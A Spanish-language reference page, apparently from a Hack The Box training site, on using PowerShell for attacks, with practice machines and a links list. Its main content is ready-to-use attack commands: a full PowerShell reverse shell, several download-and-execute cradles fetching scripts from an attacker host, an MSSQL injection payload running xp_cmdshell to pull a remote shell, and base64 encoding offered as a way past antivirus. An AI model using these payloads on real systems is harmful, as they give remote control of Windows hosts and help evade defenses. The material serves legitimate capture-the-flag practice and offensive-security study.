PowerShell
Subtécnica de T1059 Intérprete de comandos y scripts ↗
Usar PowerShell para ejecutar comandos, descargar herramientas y cargar scripts en memoria.
Cómo aparece en Hack The Box
Es la shell por defecto en Windows. Ojo al Constrained Language Mode y a AppLocker: si el one-liner no funciona, mira el modo de lenguaje antes de cambiar de payload.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
- Fuzzing de vhosts y subdominios
- Credenciales por defecto
- Deserialización insegura
- Inyección de comandos
- Password spraying y usuarios válidos
- Credenciales en ficheros
- Servicios internos y port forwarding
- Criptografía débil o casera
- Backups y archivos comprimidos
- Credenciales guardadas / DPAPI
- AppLocker y Constrained Language Mode
Guías
- Cómo detectan los antivirus y EDR en Windows: AMSI, ETW, hooks, AppLocker y CLM explicados 5 min de lectura Qué mira Defender o un EDR al ejecutar una herramienta (firmas, AMSI, ETW, hooks, callbacks del kernel), cómo saber qué protege una máquina y qué son AppLocker y CLM.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Generador de reverse shells › Windows
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"
Si el antivirus lo bloquea, pásalo por el codificador (PowerShell -enc) o usa Invoke-PowerShellTcp.
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 443"
Sirve el script con python3 -m http.server 80 en la carpeta donde lo tengas.
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.5 443
Transferencia de archivos › Windows
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/script.ps1')
Payloads de inyección SQL › MSSQL
'; EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://10.10.14.5/rev.ps1'')"';--
Escalada en Windows y Active Directory › Windows
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1'); Invoke-AllChecks
Evasión explicada: AMSI, ETW y AppLocker › AppLocker / CLM
$ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage = estás limitado; FullLanguage = libre.
Codificador y decodificador › En la terminal
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.5/s.ps1")' | iconv -t UTF-16LE | base64 -w0
Ningún comando coincide.